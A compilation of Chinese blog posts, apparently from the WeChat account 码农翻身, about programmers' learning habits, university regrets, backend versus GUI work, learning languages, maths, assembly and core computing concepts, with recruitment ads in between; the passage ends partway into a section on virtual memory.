我排行老二， 人称“小仓鼠”， 以集齐各种电子书/视频为乐。  看到论坛，群里推荐书就两眼放光，千辛万苦也要找个电子版下载下来。




计算机组成原理， 数据结构，操作系统， 网络，数据库，  每个主题都好几本， 不带重样的。




进阶，高级， 解密， 白话，大话，实战，Head Frist系列，  一个都不能少！




每当我看到各培训机构泄出来的教学视频时， 简直是是欣喜若狂，什么基础班， 就业班，一头扎进xxx 。。。。 赶紧保存到自己的百度网盘里。




闲来无事， 欣赏下满满一硬盘的电子书和好几个T的视频， 我心满意足，安全感极强， 世界尽在掌握。




但我就是不去看， 不去学， 原因很简单： 看电子书太累，还有就是工作太忙，哪有时间啊。
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  不看书的老三





我排行老三， 我最喜欢网络学习。 现在信息大爆炸时代， 所有的知识网络上都有， 还看书干嘛呢？




不信你说个知识点，我分分钟给你找出几百篇文章。  对了，我用的都是手机， 电脑都不派补上用场。




我可以一边看技术文章，一边刷个朋友圈，  和朋友们互相打个招呼， 学习娱乐两不误。




我网络快餐吃的快， 很少深度思考，也记不住多少东西， 但是没关系， 等到想不起来的时候再搜一下。




不过最烦的是网络文章一大抄， 你抄我的我抄你的， 实在让人烦。 前两天我看到某知名技术网站上关于JVM相关的文章， 读了一遍以后似曾相识，  原来是照抄《深入理解Java虚拟机》这本书， 嗯， 也许看书好一点吧。




我原来还嘲笑那些在图书馆静静的捧着一本书看的同学，都什么年代了， 还看书？




慢慢的发现他们的知识体系似乎更加完整，理解更有深度， 而我似乎一直浮在表面， 知识点支离破碎的。   后来一问才知道， 人家不但深入思考， 还写笔记，写博客，把自己的理解整理了出来， 不仅仅是一个内容的消费者，

已经变成内容的生产者了。     
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  半途而废的老四






我是老四， 没有前面几位哥哥的毛病， 我专心致志，一门心思的学Java,   耐心看书， 耐心的看视频。   我还知道， 好的程序员都是代码喂出来的， 动手实战必不可少， 所以我还经常coding。




但我有个毛病， 凡事三分热度， 无法坚持， 半途而废。




我也知道数据结构和算法很重要啊， 也看了前面的队列、栈等基本内容， 可让我坚持着把所有内容都看完， 把习题都做个差不多， 实在是要了我老命了。




优秀和平庸的差别可能就是那一点点坚持吧， 坚持不懈的做一件事， 每天前进一点点， 最后量变发生质变。




我听说每个季度定个小目标， 努力达成， 获得成就感， 就能刺激自己更进一步， 我决定实验一下， 希望能改善下我这半途而废的毛病吧。 




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577














优秀人才不缺工作机会，只缺适合自己的好机会。但是他们往往没有精力从海量机会中找到最适合的那个。




100offer 会对平台上的人才和企业进行严格筛选，让「最好的人才」和「最好的公司」相遇。




扫描下方二维码，注册 100offer，谈谈你对下一份工作的期待。一周内，收到 5-10 个满足你要求的好机会！










                    
                    
                    那些年，我后悔没做好的事情

                                                                                

                    

                    

                    
                    
                    




前几天回到母校办事，学校的新校区绿树成荫，风景优美，非常地高大上，我和好哥们漫步其中， 却有一种远离的陌生感，难以找回老校区那亲切的感觉。




也难怪，这里不是我曾经学习生活过的地方， 不像老校区，哪怕一个不起眼的小地方都会勾起回忆：




看看这个二楼的自习室， 我们考试前抢过座位。

瞧瞧这个楼道， 由于外边下雨， 军训的时候在这里凑合过。

看到这个体育场北边的台阶， 不由地想起学校开运动会的时候， 我们坐在那里，整天被暴晒的经历。

还有这个破破烂烂， 现在看来卫生极差的校外饭馆，当时能去吃一顿已经是很大的伙食改善了。

......




大学里那些傻傻的经历，吃过的苦头，现在都是美好的回忆。




和同学谈起来，都会无限感慨：要是能再过一遍大学生活就好了！　




但是时光永远不会倒流，只会滚滚向前。十多年后反思一下，美好的大学生活还是有不少遗憾，尤其是在个人的技术成长方面。




1没有尽快地确定方向





记得进入大学那会儿，国家实行５天工作制没多久，每周一下子能休息两天！两天啊！




经历过苦难高中的人应该是深有体会，一下子从牢笼里解放出来，简直是太幸福了！ 自由时间之多让人难于接受，简直不知道做什么才好！




我将来到底要做什么？　我学的是计算机科学与技术，毕业后能做哪些工作？　没有人能给予指导。




当时的互联网还发达，上网都按小时甚至分钟计费，上了网除了快速的浏览新闻，收发邮件，还真干不了什么别的事情。想在网上看看大牛的经验之谈，根本就没有。




有的同学开始钻研组装电脑，当时组装电脑也很有技术含量啊。有的学习组建局域网，还有的准备考MSCE， 总之是八仙过海， 各显神通。  而我则懵懵懂懂的， 不知道做什么才好。




后来去图书馆， 看到一些计算机方面的杂志，上面介绍中国早期的程序员求伯君，鲍岳桥，王志东... 以及他们独自开发的著名软件， 还有像Bill Gate, Jobs的传奇故事， 经常看得热血沸腾 ： 嗯， 我也要成为一个像他们那样的程序员！




2目标确定了，却不知道采取扎实的行动





听说第一代程序员都是用汇编写程序的， 怎么着也得学学汇编吧， 翻开教科书，真无聊。




都说C语言好， 但是用C语言除了写个命令行程序，能做什么事情呢？




张小龙写的Foxmail 真是好用， 我也得学学GUI编程 ！  当时微软绝对是老大， 抱一下微软的大腿吧，学Visual Basic ！。




PowerBuilder 做MIS系统很流行， 是不是也要学习一下 ？




可见我当时还是很迷茫的，人云亦云，随波逐流。　




大学期间学了不少语言， 也做了不少小项目， 但是现在看来有点得不偿失： 浮在表层， 没有向深处挖掘。 




如果时光能够倒流，我会在大学期间先搞定冰山以下的部分，也就是基础知识。




例如操作系统的原理，网络的原理，数据结构和算法．．．．．．等等， 他们的重要之处在工作之后才慢慢体现出来， 也只能工作之余花大精力慢慢地补齐。　




3读书多， 实践少， 尤其是深入的实践太少





我在大学看了不少书， 现在回过头看看， 经典的太少， 烂书太多， 非常可惜。




说到读书，大学期间有得天独厚的条件， 有大块的时间，安静的环境， 还有良好的学习氛围 --前提是你得愿意去图书馆。




可是光读书远远不够，还得实践和练习， 比如说操作系统吧，不管是哪一本书都挺枯燥的，很容易从入门到放弃，  这时候就需要研究一个实例，例如Linux , 把这个实例和理论结合起来。




我上大学的时候，Linux的福音开始在中国传播， 我也赶时髦地安装了若干Linux的版本，知道了Linux和Windows截然不同的分区，学会了一点Linux命令的皮毛， 但是为什么不深入的研究一下呢？   看看进程线程在Linux上是怎么实现的， 文件系统是怎么实现的？




然后发挥自己的想象力在这个自由的操作系统上写点儿程序 ， 也许“天才潜质”就此发掘出来， 一不小心写出了一个流行的开源软件呢！




计算机网络也是如此， 书上写的理论非得和实践结合起来才能变得生动，变得触手可及。 赶紧动手写个Web服务器吧， 让自己的个人主页在上面跑起来， 90年代末个人主页可是非常流行的。




网络更有趣的是安全领域， 要是在大学期间就开始研究安全，没准现在也能成为一个小黑客了。




4没有养成总结和写作的习惯





学习新技术， teach others是最有效的办法，  但是通常情况下没人愿意听你讲， 那就退一步，总结出来，写成技术文章。




把对技术的理解用自己的语言复述一遍， 就能促使自己思考，查漏补缺， 理解更深一层。




不仅要写，还要努力地写好， 以严格的标准要求， 争取用通俗易懂的语言来讲述技术的本质-- 这也是我现在的追求。




Joel 说过， 要不是Linus 在不断地散布福音， 开源的Linux 操作系统会有这么流行？   可见写作的重要性。




可惜那个时候并不明白， 只是读书，输入太多，而输出太少。




想想看， 如果你真的扎扎实实地把基础在大学阶段搞定了， 找工作的时候就可以说：这是我自己写的虚拟机， 自己写的Web服务器， 上面运行着自己写的框架， 还有这是我在大学期间写的几百篇技术文章，都是深度的技术总结......   我想任何公司都会向你摇动橄榄枝的。




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577







码农翻身



用故事给技术加点料





微信号：coderising








                    
                    
                    我为什么对后端编程情有独钟？

                                                                                

                    

                    

                    
                    
                    这几年前端很热闹，发展也很快， Angular, React, Vue ... 等各种各样的新技术层出不穷， 并且不断地抢后端的饭碗。 比如说著名的Model - View -Controller , 原来前端只负责View层，展示数据，现在前后端分离， 前端把控制层Controller 也给抢走了， 可怜的后端程序猿只剩下RESTful服务提供的数据了， 再加上Node.js趁火打劫，入侵服务器端， 有木有危机感？





但我还是对后端编程情有独钟， 原因很简单， 相比GUI编程，  我更喜欢API编程，  有点费解？ 听我慢慢道来。
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  单机时代的GUI





最早的时候我其实也是挺喜欢GUI编程的， 谁愿意只在命令行下折腾呢？




作为“初恋”的C语言，虽然功能强大、效率高， 但是只能在命令行窗口写点小程序， 很无趣。




后来遇到VB, 不由的眼前一亮： 哇塞， 还能这么写程序！  创建一个窗体，把各种各样的控件拖动上去， 摆好位置， 设好属性，然后双击，在onClick方法中写下代码就ok了。




号称VB杀手的Delphi 也类似， 都是所谓的RAD(Rapid Application Development) 。




当时的控件多如牛毛，上了年纪的程序员应该还记得CSDN出的《程序员大本营》， 里边有张光盘，全是程序猿们开发的VB控件， 你想发送邮件， 拖动一个不可见的SMTP控件过来， 设定邮箱服务器和端口， 直接就可以发信， 非常简单。  你想用一个定时器功能， 没问题，那里有个定时器控件，可以直接使用 ， 这才是真正的组件化开发。




由于开发出来的应用只能在PC上， 在Windows上运行， 不会出现如今手机端各种各样的适配问题，垄断在某些时候也是好处啊。




虽然这些桌面应用程序不像Web页面那样美轮美奂， 但对于我这个缺乏艺术细胞的人来说，   这是GUI编程的黄金时代。
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 Web GUI





好景不长， 技术变迁很快， Web时代来临了。




于是开始学HTML, CSS, Javascript， 忙着折腾个人主页，  做了没多久就意识到， 用HTML产生页面布局怎么这么麻烦，当时CSS还不普及 , 页面布局全靠一个表格套一个表格来做，   如果没有Dreamweaver, Frontpage 这样的软件帮忙， 这些<tr><td>标签绝对会把人淹死。




光有布局还不行，还得弄图片， 调颜色， 我在大学还学了photoshop ， 想着自己设计。后来看到一本书上的例子， 在photoshop中不使用任何外界图片， 从零开始做出一个可口可乐易拉罐出来， 那光影效果当时就把我震撼了，  立刻意识到自己不是搞艺术的这块料， 还是老老实实的回去写程序去吧。




个人主页怎么办？  我就Copy了一个别人的网站， 改了改，变成了这个样子（图片没有显示）：









忘了Copy谁的网站了， 向原作者表示歉意，当时是学生，知识产权意识不够，搁现在肯定得掏钱去买。 




现在一般的开发团队都配有美工， 可以设计界面，设计完还能“切图”，形成漂亮的html+css的静态页面， 接下来的问题就是怎么把静态的网页变成动态的网页， 这就八仙过海，各显神通了。  




传统的方式就是在服务器端完成， 利用各种各样的模板技术， 在静态页面中加上动态内容， 直接生成HTML UI元素。




最近流行的就是让浏览器来负责， 通过js 调用后端API，把数据变成HTML UI元素后展示出来。




不管是那种方式， CSS都是不可或缺的。因为它控制了页面的布局结构， 又是布局，快逃！
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 Java GUI





上了Java的贼船以后， 也做了一些GUI的工作， 相比于VB/Delphi拖放控件的便捷， 用Java写界面简直就是地狱！ 




虽然也有图形化的界面编辑器， 也可以拖放控件， 但是自动生成的代码那叫一个惨不忍睹。 更悲催的是，稍微手工改动一下， 那个界面编辑器就可能不认了。   绝大多数情况下还是直接写代码来生成界面。 (再次大声疾呼：不要再Swing和AWT上浪费精力，用的极少。 )




这里必须说一下Java和VB在界面编程的区别，  Java 的界面全是用代码来生成的，就是说你需要写代码创建一个按钮， 写代码把这个按钮放到什么地方去， 所以即使是GUI程序， 最终的表现形式也只是Java 文件而已。




VB则不同，它专门有个.frm文件， 里边存储所有界面控件和布局的信息， 最终也需要把.frm打包发布。 所以在编辑界面这一点， VB和Dephi 是非常方便的。




程序员们这么痛苦， 那些大牛肯定会来解救我们的， 比方说能不能用XML来描述界面啊， 在XML中把各个控件及其布局关系都给描述好， 由系统读取，创建界面，就像原来的.frm文件一样。 Android 不就是这么干的吗？




但是XML文件读起来也够痛苦的， 为了灵活性， 这个XML文件还不能隐藏起来，有时候还要手工去改， 改完还不容易看到真正的效果， 唉，想想就头大。




更不用说Android的适配问题了， 不同屏幕尺寸，不同的分辨率， 不同的像素密度给程序员带来了极大的工作量。



（每个矩形代表一种设备）
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  后端编程





啰嗦了这么多， 其实就想表达一个中心思想： 我是有点害怕GUI编程。 而Web 前端和App前端都是在和GUI打交道。




我甚至想，这可能和内向的性格有关系， 擅长和机器打交道， 不擅长和人打交道。 前端需要琢磨用户的心理、使用习惯、用户体验， 这不是我的优势。




在软件编程领域， 与其费力不讨好的补上短板， 不如把自己的长处发挥到极致。




既然如此，那就呆在后端编程吧， 这里没有GUI, 只有API。  悄悄地躲在电脑的背后，  给Web前端和App前端提供服务， 让他们调用。




有人会说： 前端把Controller和View都拿走了， 后端就是个API的提供者，能折腾啥啊。




别小看后端编程，后端是非常有技术含量的，像什么高并发、缓存、负载均衡、分布式、消息队列、安全、搜索、数据复制.... 每个方向都值得静下心来去深挖。




不管前端技术怎么变化， 作为提供服务的后端总是要存在的，这是一大优势。




后端编程还有一个优势就是相对稳定， 比起大爆炸的前端，后端技术的变化要缓慢一些， 心思不会那么浮躁， 有很多知识可以慢慢的沉淀。




对于那些不喜欢做GUI的同学，不妨考虑下后端编程。




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577














优秀人才不缺工作机会，只缺适合自己的好机会。但是他们往往没有精力从海量机会中找到最适合的那个。




100offer 会对平台上的人才和企业进行严格筛选，让「最好的人才」和「最好的公司」相遇。




扫描下方二维码，注册 100offer，谈谈你对下一份工作的期待。一周内，收到 5-10 个满足你要求的好机会！











                    
                    
                    当我们在学习编程语言时，我们在学习什么?

                                                                                

                    

                    

                    
                    
                    有人兴冲冲地跑来告诉你出现了一门新的编程语言， 语法优美， 功能强大而灵活， 由 某某大牛设计，某大厂在后面背书，  某某知名软件就是用这个语言写的， 将来地前(钱)途大大地光明， 你被打动了， 决定马上去学一下。




对于一门编程语言， 我们到底学习什么东西呢？
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基本语法








首先肯定是语法， 像数据类型、标识符、关键字、运算符、注释、 流程控制语句等等。




如果你之前学过一门编程语言，再去学新的语言，会发现在基本的语法层面， 这些语言都差不太多。




因为都是命令式编程语言， 程序员要精确的告诉计算机用何种指令做事情， 是对计算机硬件的抽象，命令式程序本质上就是一个冯诺依曼机的指令序列。如果你学的是函数式编程， 那就大不相同了。




对于命令式编程， 最基本的控制语句就这么三种： 顺序、分支、循环。












当然不同的语言， 对于这基本的流程控制会有一些变体， 例如do ... while,  switch ..   foreach 等等， 但本质都是一样的。




对于基本的语法， 我相信很多人都能迅速掌握。
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基本的数据结构








想象一下， 假设Java 中没有集合框架， 什么东西都需要自己来做， 那写起程序来该有多累！




现在的语言除了基本的语法之外 ，都会有内置的强大的数据结构， 方便程序员来编程 。




这些数据结构中最常见的是这几个：




1. 字符串

实际代码中会有大量对字符串的操作，现在的语言都有良好的支持， 需要学习下相关的API。




2. 可以动态增长的数组  

这也是一个非常常见、非常有用的数据结构， 在Java 中就是ArrayList,   Python 就是列表， Ruby 中称为数组。  由于其应用的广泛性， 一定要好好学习下它的用法。




特别值得一提得是， 很多动态语言对数组提供了很多强悍的操作， 很轻松的可以把它当作栈、队列来使用。




3.  用来存储 key - value 这样值对的集合

Java 中的Map ,   Python 中的字典， ruby的hash 表均属此类




绝大部分程序，经常使用的也就是上面三个数据结构， 其他的还有无重复元素的集合(Set)等等。
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面向对象








看完语法和数据结构， 接下来可以看看面向对象在这个语言中是怎么实现的，对于命令式编程， 面向对象简直就是标配， 没有面向对象的支持， 简直就不好意思和别人打招呼。




有人说面向对象已死， 实际情况呢？  绝大部分软件还是以面向对象为基础构建起来的， 所以不要听风就是雨， 老老实实地去学封装、继承、多态吧。




如果你已经掌握了面向对象的设计和编程的思维， 那对于学习新语言的OO来说， 那真是太简单了， 基本上就是一点点语法的区别。 




例如继承， Java用extends ,   Ruby 用“<” , Python 用 括号来表示， 大同小异， 只不过有些语言只支持单继承， 有些支持多继承， 更加复杂一些。




对于封装， 各个语言也是差不多，一般都有private , proteted , public 这三个保护的级别，也是表现形式不一样。




对于多态， 这是很多静态语言的专利，  动态语言用的是Duck Typing ,  比多态更加灵活， 需要仔细揣摩下和多态的区别， 优势和劣势。




（码农翻身注： 参见《小张的Duck Typing》 ）
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突破内存








学到这里， 你应该可以用这门语言来写程序了， 但是你很快就会发现，程序只能在内存中折腾，最多能输出到毫无趣味的控制台上，  还无法访问硬盘和网络， 这也是编程语言必须提供的重要特性。




不同的语言对硬盘和网络的抽象大相径庭， 例如Java 试图把所有的东西都称为IO, 抽象出了一套优雅但是不太好用的API。 相比而言像Ruby 和 Python 对硬盘文件的操作就简单的多。




对XML 和 JSON的操作是必须要掌握的技能， 因为他们的用途实在是太广泛了。




对于网络编程， 至少要理解Socket和HTTP， 一个是传输层，一个是应用层， 各大语言对Socket和Http 编程都有很好的支持。




（参见《张大胖和Socket》 , 《IE为什么把火狐和Chrome打伤了》，《对浏览器村的第二次采访》）
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让多任务并发执行








线程的概念对于初学者，或者说没有计算机基础的同学们学起来有点难度， 因为要理解什么是进程， 什么是线程 ，为什么要有进程和线程，  有点偏向计算机的底层了。




并发编程会涉及到线程之间的同步和通信， 如何加锁，防止死锁， 线程池等很多烦人的知识点， 虽然说在实际工作中都封装好了， 业务编程中用的少， 但是要理解概念。




对于各个语言来说， 良好的线程支持也是标配， 要了解相应的API, 至少能用他们写出小程序来。




（参见《我是一个进程》《我是一个线程》）
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语言特性








各个语言都有自己的特性， 例如Java 的反射/范型/注解，  Ruby 的block， 元编程,   javascript的原型/闭包/函数等等。 这些特性对于写出优雅漂亮的程序有极大帮助， 一定要掌握。
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GUI








GUI一般指的桌面编程和手机端编程的图形用户界面， 各大语言都有支持， 但是除了Android（Java）, iOS(Objective-C) 和微软系的语言(C#,VB.NET...)外， 别的语言直接写GUI的相对不多。




Java 的Swing 和 AWT  应用领域狭窄， 我知道的只有在金融领域， ERP， IDE 有所使用，所以不用下大功夫去学。




如果你是做桌面编程和手机端编程，需要关注如下几点：

1.  界面是如何描述的？

界面的控件有哪些？ 如何进行页面的布局？

2.  数据如何获取？

现在的程序基本上都是联网的， 很多数据都来自服务器， 这又涉及到了前面提到了网络编程。

3. 界面和数据如何绑定？

因为数据一般是外部来的，是变化的，  需要在GUI上展示， 绑定数据到界面必不可少。

4. 用户在GUI的操作该如何处理？

现在基本上都是事件驱动，例如用户点击了一个按钮，就会调用onClick 函数。




总的来说， GUI中用MVC相对比较多， 需要掌握学习。
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Web








终于到达Web编程了， 这是个非常大的主题， 其实已经超越了一门语言的范畴，涉及到HTTP, XML, Javascript , JSON, Servlet, JSP 等基础知识。  当然更重要的是框架。




（码农翻身注： 参见文章《掌握了这几点，你就学会了Web编程》）
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学会了吗？








学到这里， 大部分人还是很困惑，觉得自己已经看了语法，OO, 线程、IO,  Web, 但还是心里没底，不知道自己到底学会了没有， 这个时候，务必要寻求项目来做了。 做项目才能把知识给串起使用， 帮你查漏补缺， 不断前进。




（完）




你看到的只是冰山一角， 更多精彩文章，参见《码农翻身2016文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577










公众号：码农翻身





“码农翻身”公众号由工作15年的前IBM架构师创建，分享编程和职场的经验教训。



















编辑推荐




掘金是一个高质量的技术社区，从移动开发到架构设计，编程语言到开源类库，让你不错过互联网开发的每一个技术干货。长按图片二维码识别或者各大应用市场搜索「掘金」，技术干货尽在掌握中。












                    
                    
                    编程需要多少数学知识？

                                                                                

                    

                    

                    
                    
                    1从高考题谈起







昨天大学同学群里发了一个链接， 点开一看，原来是当年参加高考的数学试卷， 于是饶有兴趣的又看了一遍， 让我感到震惊的是，很多试题连题目都看不懂了！




比如这道题：







再比如这道题：






天呐， 这都是些什么啊，   我当年到底是怎么考上大学的？




再联想到大学学的微积分，线性代数， 离散数学， 除了一些基本概念之外，也忘的差不多了。




数学这么差 ， 竟然在计算机行业待了10多年， 到底是怎么混的？




2编程中的数学





于是我马上回顾了下编程中用到的数学知识， 好像少的可怜。




计数的能力： for循环中经常用，  小学生都会。

数字的加减乘除 ： 每种编程语言都会内置支持， 都不需要你自己算

余数和模： 偶尔会用得到

集合运算 ： 交集、并集、差集 ， 编程中用的不多。

布尔运算：  AND , OR,  非

各种进制： 二进制、十进制、十六进制




还有哪些？ 我想不起来了， 欢迎补充。




当然这和我从事的编程领域有极大关系， 如果我做的不是Web开发， 而是搜索，游戏， 安全，算法，人工智能等， 那对数学的要求估计就开始飙升了。




其实计算机的基础是数学， 只是我们一直在应用层编程， 体会不到罢了。




比如说我们日常使用的计算机，绝大部分都是所谓冯诺依曼结构(参见文章《冯·冯诺依曼计算机的诞生》) ，这个结构可以说是图灵机这个概念机器的具体实现，而图灵机就是一个纯数学的东西啊 ，没有图灵机这么伟大的抽象作为数学基础， 现代的计算机是制造不出来的。




（如果对图灵机和数学感兴趣 可以看看《图灵的秘密》这本书 》




再比如说密码领域需要很多数论的知识，RSA算法就涉及到大素数的分解；    




我们常用的Mysql, Oracle 等关系数据库的底层基础是离散数学的笛卡尔乘积； 




通信系统中很重要的一个原理就是傅里叶变换。




编译器会用到有限状态机；  




数据的压缩会用到各种数学的算法；




项目管理中的进度管理，甘特图数学基础就是图论。




.....




总之，数学在计算机科学（如果能称之为科学的话） 扮演着非常重要的角色， 是整个学科的基础。




3不拼数学拼什么？





具体到应用层编程， 尤其Web开发、企业信息化开发， 整天折腾的是框架和类库， 用不到这么多高大上的数学知识， 那到底拼的是什么？




想想编程中常用的数组，如果是一维数组，做个循环和遍历， 每个人都能轻松应对。  如果要用数组来表示二叉树，就需要把一个树形结构对应到线性结构，那难度立刻上升。




如果在编程中需要自己实现链表， 就会发现把各个节点的链接关系维护好， 需要把指针(引用）调来调去，挪来挪去， 实在不是一件容易的事情。 




这样的能力就是逻辑思维的一种体现。




我们在做系统设计的时候，经常需要总结、分析现实需求， 找到容易变化的部分和相对稳定的部分， 把他们封装起来，形成核心的概念， 支撑起整个系统， 这是一个抽象的过程，虽然用不到多少数学知识， 但是思维的过程也极不容易。  




逻辑思维能力和抽象能力的差别， 能够区分出程序员的优秀和平庸。 




一个优秀程序员写出的代码， 接口清晰，容易扩展，易于维护；  一个差程序员写出的代码， 思路混乱，完全是一些计算机语句的堆砌， 别人看不明白， 过一段时间自己都看不明白了。




数学系的同学在这两方面恰恰是长项，  想想看， 数学系同学们整天折腾这么多“枯燥的”抽象概念， 再去看编程这样大部分都是具体化的实现， 简直是分分钟搞定！ 这可能是数学系的转到编程领域很厉害的原因吧。




逻辑思维能力通过学习数据结构和算法，做数据结构的习题可以得到有效的提高， 抽象能力需要在实践中不断的练习、积累经验。 对于初学编程的同学，从现在就开始努力提升吧！




你看到的只是冰山一角， 更多精彩文章，参见《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577




·END·
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                    想成为编程高手，一定要学汇编吗？

                                                                                

                    

                    

                    
                    
                    汇编语言这门课， 是我大学的一段灰色记忆。




有很长一段时间，我都搞不明白为什么汇编语言中有各种各样的寻址方式 ， 还有为什么叫立即数呢？ 它明明就是一个数字啊，起个这么古怪的名称。




老师布置的作业也不复杂， 例如用汇编控制主板的喇叭发声，  在屏幕上输出白底蓝色字、绿底白色字、红底黑色字.....   我都做得非常辛苦， 没记错的话还经常抄同班张同学的作业。




所以我一直对能用汇编语言编程的人充满了敬仰和带点儿嫉妒的敬畏， 尤其是听说求伯君竟然用汇编写出了WPS！   Ken Thompson、Dennis Ritchie 居然用汇编写出操作系统Unix！  只能是一声叹息，人和人的差距真是大啊。




毕业后对操作系统痴迷，去看MINIX的源代码，一开头就被吓住了，在bootstrap阶段竟然是通篇的汇编！  在后悔为什么大学没有好好学的同时， 我还特别又买了一本汇编的书《80X86汇编语言程序设计教程》， 准备把汇编捡起来。




艰苦地复习了一段时间就明白了一点， 操作系统用到的汇编其实和CPU密切相关，什么实模式、保护模式， GDT, LDT，数据段，代码段......这些Intel CPU的概念如果没搞明白， 根本不可能读懂操作系统的启动过程。




那时候网络上资料很少， 不像现在这么信息爆炸， 我孤独的在Minix的世界中挣扎了一段时间就放弃了， 我也许不是搞系统编程的那块料， 从此走向应用层编程之路。




米国那些早期的程序员很幸福， 他们随着计算机的发展而不断前进，经历了完整的从底层编程到高层编程的全过程。 最开始的时候就是直接对硬件编程， 例如比尔盖茨和保罗艾伦就是直接用汇编在牵牛星电脑上写Basic的解释器， 那批程序员对硬件和底层的理解是非常的透彻。




虽然我是属于从入门到放弃类型， 但是能深切的体会到学习汇编的好处：  汇编和最底层的硬件打交道（ 注意是硬件啊） ， 所以学习汇编能对计算机的运行机制有个透彻的了解：

什么是寄存器

程序在内存和CPU中是怎么折腾的

CPU是如何访问内存的

程序的分段

机器层面如何实现函数调用（理解缓冲区溢出攻击的基础）

中断及其处理

......

有了这些知识，肯定对冯诺依曼计算机有了深刻认识。




而这些知识又构成了操作系统的基础， 有了这些基础，理解进程/线程的概念，同步和互斥，以及他们的实现就非常容易，还有虚拟内存、文件系统、 I/O 等等。




并不是说必须学了汇编才能理解操作系统，而是说看问题的深度不一样。  有了汇编的保驾护航， 你可以在头脑中建立起一个有更多细节，更多实现的计算机， 那些概念不是模糊的，而是清晰的、鲜活的。




操作系统的运行原理， 绝对是程序员受益一生的知识。 比如说后端编程，不了解OS的进程、线程、 页面缓存，文件系统，I/O  就去大谈如何实现一个高并发、大数据量的网站简直就是笑话。




再比如对JVM的学习， 如果你懂得汇编， 看到JVM的字节码、看到栈帧就会觉得很亲切，只需要把基于寄存器的计算方式转换成基于栈的计算方式就可以了。




我们的计算机知识就像一座金字塔，  底层是数学， 上面是数字电路，然后是汇编，再往上是操作系统、网络，数据库、高级编程语言、框架等等......




我们每个人不可能精通这个金子塔的每一层， 但是要掌握、理解构成这个金字塔的核心概念。




在应用层编程， 不一定要掌握汇编， 但是掌握汇编能让我们更透彻的看待我们赖以为生的虚拟世界 , 没错， 你要想成为黑客帝国中的Neo,  汇编必须得学。




我有时候会胡思乱想： 如果这个编程世界根本没有什么Java, Python, C++, Javascript , PHP, 只有汇编这么一种语言， 像 Rod Johnson（Spring之父）， DHH(Ruby on Rail之父)  ， Eric Gamma (JUnit, Eclipse) ， Gavin King（Hibernate之父） 这些在应用层编程的大牛们， 他们用汇编写程序会是什么样子？  他们会创造出什么东西出来？




我想有一点是肯定的： 即使是使用汇编，他们的编程技能仍然会毫不留情的把我碾压成渣渣。 原因很简单， 一个驾驭过复杂系统的人，他的逻辑思维能力肯定是强悍无比的， 汇编只是让他换了一个工具而已。  




更可怕的是由于软件极难编写， 只有一帮大牛才有资格编程，才能成为程序员，  像我这样资质平庸者估计只能去搬砖吧。




所以感谢这个时代，有这么多语言让我选择，不用被大牛碾压，还可以靠编程过活。




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577














优秀人才不缺工作机会，只缺适合自己的好机会。但是他们往往没有精力从海量机会中找到最适合的那个。




100offer 会对平台上的人才和企业进行严格筛选，让「最好的人才」和「最好的公司」相遇。




扫描下方二维码，注册 100offer，谈谈你对下一份工作的期待。一周内，收到 5-10 个满足你要求的好机会！










                    
                    
                    你必须理解的计算机核心概念

                                                                                

                    

                    

                    
                    
                    


前言：  计算机学科中有很多概念， 例如编码（原码，补码，反码）， 虚拟内存， 文件， IO,  编译，链接，分组交换，关系， 事务，范式， Hash, 加密。。。等等，本文试图讲一下最重要的核心集合，从这个集合当中就可以变换出计算机编程的各种魔法。
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 冯·诺依曼结构计算机的原理





所有的计算机语言，不管是Java, Python, Go, C, C++, PHP...... ， 无论你在TIOBE上是排行第一还是排行第100,  无论看起来多么花哨，功能多么强大，用起来多么舒服， 最终都要变成基本的二进制指令，老老实实地在冯·诺依曼结构计算机上按规矩执行。





这里是根， 我们看到的、用到的都是这棵树上的花和枝叶。




作为志向远大的、有着强烈好奇心的年轻人， 难道你不想到根部来看一看？




作为最基本的要求， 必须要了解CPU和内存这俩哥们是怎么亲密无间工作的： CPU从内存取出指令，进行译码和执行，执行时从内存中取出数据放到寄存器中， 进行计算， 然后把结果写回到内存。如果是跳转指令， CPU则取出跳转目的地的指令继续执行。




如此简单的过程，竟然组成了多姿多彩的电脑世界： 你可以听音乐，玩游戏、上网聊天、用Word来写文档.....  当然看起来微不足道的一个操作，进入到CPU和内存中都可能需要成千上万条指令来完成。




这些基本的指令组成了顺序、循环、分支等基本的程序结构，形成了更为强大的编程语言的基础。




CPU和内存、硬盘等设备的速度不匹配，是冯·诺依曼结构计算机的一个核心问题，为了解决这个问题，科学家们绞尽脑汁，想尽了办法， 又引出了一堆概念： 缓存，DMA， 同步，异步，阻塞....




扩展阅读：

《从1加到100：一道简单的数学题挑战下你的大脑》

《CPU阿甘》

书籍：《编码》 《穿越计算机的迷雾》
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 进程和线程





这俩家伙的重要性不言而喻，因为你写的所有的程序要么会成为一个独立的进程去执行，要么是被一个进程中的线程收编，没有例外 。




几乎所有的编程语言都会涉及到对多进程或者多线程编程的支持， 特别是多线程的并发编程， 所以你必须得搞明白它的本质是什么。




进程是对一个运行中的程序的抽象，没有这个概念，我们是无法实现一边听歌、一边上网的惬意生活。




对于CPU来讲， 它只是“浑浑噩噩”地从某个地方取指令，译码执行，但是它不会意识到在某一刻整个世界已经变了天， 它执行的程序已经发生了切换，另外一个程序（准确地讲叫进程）已经成功地抢班夺权。




每个进程都有一个被操作系统老大维护的进程控制块， 里边保存了这个进程在运行时的重要信息，是进程能来回切换的重要保证。




而线程则寄居于进程之内 ， 共享进程提供福利（代码和数据）的同时， 还拥有自己的一亩三分地。









线程的出现，提升了系统的性能、吞吐量和响应性。  但是多进程/多线程编程也带来了一系列问题： 同步，通信，锁， 死锁。。。




扩展阅读：

《我是一个进程》

《我是一个线程》

书籍：《操作系统概念》
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 虚拟内存





有了物理内存， 为啥还有虚拟内存？




